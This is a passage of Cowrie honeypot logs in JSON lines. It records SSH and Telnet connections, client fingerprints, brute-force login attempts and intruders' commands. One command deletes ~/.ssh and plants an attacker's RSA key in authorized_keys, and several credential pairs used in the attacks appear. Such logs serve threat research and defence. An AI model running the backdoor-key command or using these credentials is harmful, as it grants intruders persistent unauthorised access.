m","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:06.358842Z","src_ip":"216.155.93.75","session":"5586b0576679","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle@2026","message":"login attempt [oracle/oracle@2026] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:06.977180Z","src_ip":"216.155.93.75","session":"5586b0576679","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:07.323702Z","src_ip":"216.155.93.75","session":"5586b0576679","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:07.327313Z","src_ip":"216.155.93.75","session":"5586b0576679","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:07.331854Z","src_ip":"216.155.93.75","session":"5586b0576679","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:07.483251Z","src_ip":"216.155.93.75","session":"5586b0576679","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:07.817464Z","src_ip":"216.155.93.75","session":"5586b0576679","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:07.820501Z","src_ip":"216.155.93.75","session":"5586b0576679","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:07.970282Z","src_ip":"216.155.93.75","session":"5586b0576679","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:07.974482Z","src_ip":"216.155.93.75","session":"5586b0576679","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":50740,"dst_ip":"10.17.0.5","dst_port":22,"session":"768a13170fff","protocol":"ssh","message":"New connection: 216.155.93.75:50740 (10.17.0.5:22) [session: 768a13170fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:08.120689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:08.125904Z","src_ip":"216.155.93.75","session":"768a13170fff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:08.277063Z","src_ip":"216.155.93.75","session":"768a13170fff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:08.911733Z","src_ip":"216.155.93.75","session":"768a13170fff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:10.073009Z","src_ip":"216.155.93.75","session":"768a13170fff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":50742,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d4f6debfb94","protocol":"ssh","message":"New connection: 216.155.93.75:50742 (10.17.0.5:22) [session: 7d4f6debfb94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:10.220691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:10.225534Z","src_ip":"216.155.93.75","session":"7d4f6debfb94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:10.383245Z","src_ip":"216.155.93.75","session":"7d4f6debfb94","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:11.025007Z","src_ip":"216.155.93.75","session":"7d4f6debfb94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:11.174537Z","src_ip":"216.155.93.75","session":"5586b0576679","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:11.179750Z","src_ip":"216.155.93.75","session":"7d4f6debfb94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":47404,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bb3805e12dd","protocol":"ssh","message":"New connection: 43.243.142.42:47404 (159.203.135.109:22) [session: 4bb3805e12dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:11.831801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:11.836613Z","src_ip":"43.243.142.42","session":"4bb3805e12dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:12.068489Z","src_ip":"43.243.142.42","session":"4bb3805e12dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.84019684791565,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:12.411258Z","src_ip":"64.227.101.30","session":"baec1983c4e1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"P@ssw0rd123","message":"login attempt [postgres/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:13.021223Z","src_ip":"43.243.142.42","session":"4bb3805e12dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:14.256067Z","src_ip":"43.243.142.42","session":"4bb3805e12dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":6454,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a6387f1c1f1","protocol":"ssh","message":"New connection: 94.156.152.18:6454 (10.17.0.5:22) [session: 6a6387f1c1f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:23.953225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:23.963120Z","src_ip":"94.156.152.18","session":"6a6387f1c1f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:24.089864Z","src_ip":"94.156.152.18","session":"6a6387f1c1f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEEN#8VCPU16GBAMD","message":"login attempt [root/QUEEN#8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:24.473305Z","src_ip":"94.156.152.18","session":"6a6387f1c1f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:25.606652Z","src_ip":"94.156.152.18","session":"6a6387f1c1f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":49262,"dst_ip":"159.203.135.109","dst_port":23,"session":"70c366b3637f","protocol":"telnet","message":"New connection: 68.183.198.12:49262 (159.203.135.109:23) [session: 70c366b3637f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:30.434366Z"}
{"eventid":"cowrie.session.closed","duration":37.8121817111969,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:34.885606Z","src_ip":"64.227.101.30","session":"1d7784fdcd91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":57885,"dst_ip":"10.17.0.5","dst_port":22,"session":"e40e88068556","protocol":"ssh","message":"New connection: 49.247.36.49:57885 (10.17.0.5:22) [session: e40e88068556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:39.485016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:39.490714Z","src_ip":"49.247.36.49","session":"e40e88068556","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:39.691234Z","src_ip":"49.247.36.49","session":"e40e88068556","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123,","message":"login attempt [root/admin123,] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:40.523140Z","src_ip":"49.247.36.49","session":"e40e88068556","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:41.727562Z","src_ip":"49.247.36.49","session":"e40e88068556","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54300,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c8005a008a4","protocol":"telnet","message":"New connection: 64.227.101.30:54300 (10.17.0.5:23) [session: 5c8005a008a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:44.624253Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54568,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d35b32e72cf","protocol":"telnet","message":"New connection: 64.227.101.30:54568 (10.17.0.5:23) [session: 4d35b32e72cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:46.238912Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":55818,"dst_ip":"10.17.0.5","dst_port":23,"session":"49db09d49fc9","protocol":"telnet","message":"New connection: 64.227.101.30:55818 (10.17.0.5:23) [session: 49db09d49fc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:48.270998Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":54962,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b1618e7f880","protocol":"telnet","message":"New connection: 64.227.101.30:54962 (10.17.0.5:23) [session: 3b1618e7f880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:49.291273Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57256,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1d2dcbe7eeb","protocol":"telnet","message":"New connection: 64.227.101.30:57256 (10.17.0.5:23) [session: e1d2dcbe7eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:51.610271Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":58142,"dst_ip":"10.17.0.5","dst_port":23,"session":"24f1f5c81b95","protocol":"telnet","message":"New connection: 64.227.101.30:58142 (10.17.0.5:23) [session: 24f1f5c81b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:56.648424Z"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":38984,"dst_ip":"159.203.135.109","dst_port":23,"session":"316c85ba0730","protocol":"telnet","message":"New connection: 67.23.227.170:38984 (159.203.135.109:23) [session: 316c85ba0730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:06:56.904022Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38078,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2b40c0e160b","protocol":"telnet","message":"New connection: 64.227.101.30:38078 (10.17.0.5:23) [session: b2b40c0e160b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:11.846470Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":58960,"dst_ip":"10.17.0.5","dst_port":22,"session":"62cb8a5642d9","protocol":"ssh","message":"New connection: 216.155.93.75:58960 (10.17.0.5:22) [session: 62cb8a5642d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:14.325227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:07:14.334470Z","src_ip":"216.155.93.75","session":"62cb8a5642d9","protocol":"ssh"}
